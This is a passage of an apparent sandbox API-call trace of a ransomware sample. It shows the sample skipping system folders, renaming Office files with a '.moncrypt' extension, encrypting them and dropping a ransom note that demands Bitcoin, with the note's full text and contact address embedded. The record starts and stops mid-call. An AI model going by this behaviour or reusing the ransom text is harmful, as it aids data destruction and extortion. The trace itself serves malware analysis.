cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.880] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.880] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c60, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.880] GlobalUnlock (hMem=0x440004) returned 0 [0048.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.880] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.880] GlobalUnlock (hMem=0x440004) returned 0 [0048.880] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.880] GlobalUnlock (hMem=0x44000c) returned 0 [0048.880] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.880] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.882] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b70, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.882] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\") returned 0x5c [0048.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.882] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.882] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.882] GlobalUnlock (hMem=0x44000c) returned 0 [0048.882] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.882] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.882] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.882] GlobalUnlock (hMem=0x44000c) returned 0 [0048.882] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.882] GlobalUnlock (hMem=0x440004) returned 0 [0048.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.882] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.883] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.883] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.883] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.883] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.883] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.883] GlobalUnlock (hMem=0x440004) returned 0 [0048.883] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.883] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.883] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.883] GlobalUnlock (hMem=0x440004) returned 0 [0048.883] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.883] GlobalUnlock (hMem=0x44000c) returned 0 [0048.883] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.883] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", cchWideChar=101, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 101 [0048.884] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.884] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.885] CloseHandle (hObject=0x190) returned 1 [0048.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\я")) returned 1 [0048.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.886] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.886] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.886] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.moncrypt")) returned 1 [0048.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.893] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.894] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x1861 [0048.894] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.894] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x1861, lpOverlapped=0x0) returned 1 [0048.895] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.896] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.896] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.896] GlobalUnlock (hMem=0x44000c) returned 0 [0048.896] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.896] GlobalUnlock (hMem=0x440004) returned 0 [0048.896] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.896] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.896] GlobalUnlock (hMem=0x440004) returned 0 [0048.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.947] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.948] CloseHandle (hObject=0x190) returned 1 [0048.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.948] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.948] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.948] GlobalUnlock (hMem=0x440004) returned 0 [0048.948] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.948] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.948] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.948] GlobalUnlock (hMem=0x440004) returned 0 [0048.948] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.948] GlobalUnlock (hMem=0x44000c) returned 0 [0048.948] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69c10, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.948] GetLastError () returned 0x2 [0048.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.953] WriteFile (in: hFile=0x190, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.954] CloseHandle (hObject=0x190) returned 1 [0048.954] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.954] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.954] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.954] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.954] GlobalUnlock (hMem=0x44000c) returned 0 [0048.954] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.954] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.954] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.954] GlobalUnlock (hMem=0x44000c) returned 0 [0048.954] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.954] GlobalUnlock (hMem=0x440004) returned 0 [0048.954] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0x54e280 [0048.955] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.955] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.955] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", dwFileAttributes=0x20) returned 1 [0048.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.moncrypt")) returned 1 [0048.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.957] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.957] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x251f [0048.957] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.957] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x251f, lpOverlapped=0x0) returned 1 [0048.959] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.959] GlobalLock (hMem=0x44000c) returned 0x559b88 [0048.959] GlobalHandle (pMem=0x559b88) returned 0x44000c [0048.959] GlobalUnlock (hMem=0x44000c) returned 0 [0048.959] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.959] GlobalLock (hMem=0x44000c) returned 0x559b88 [0048.959] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.959] GlobalUnlock (hMem=0x440004) returned 0 [0048.959] GlobalHandle (pMem=0x559b88) returned 0x44000c [0048.959] GlobalUnlock (hMem=0x44000c) returned 0 [0048.959] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.959] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.959] GlobalUnlock (hMem=0x44000c) returned 0 [0048.959] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.959] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.959] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.959] GlobalUnlock (hMem=0x44000c) returned 0 [0048.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.moncrypt" 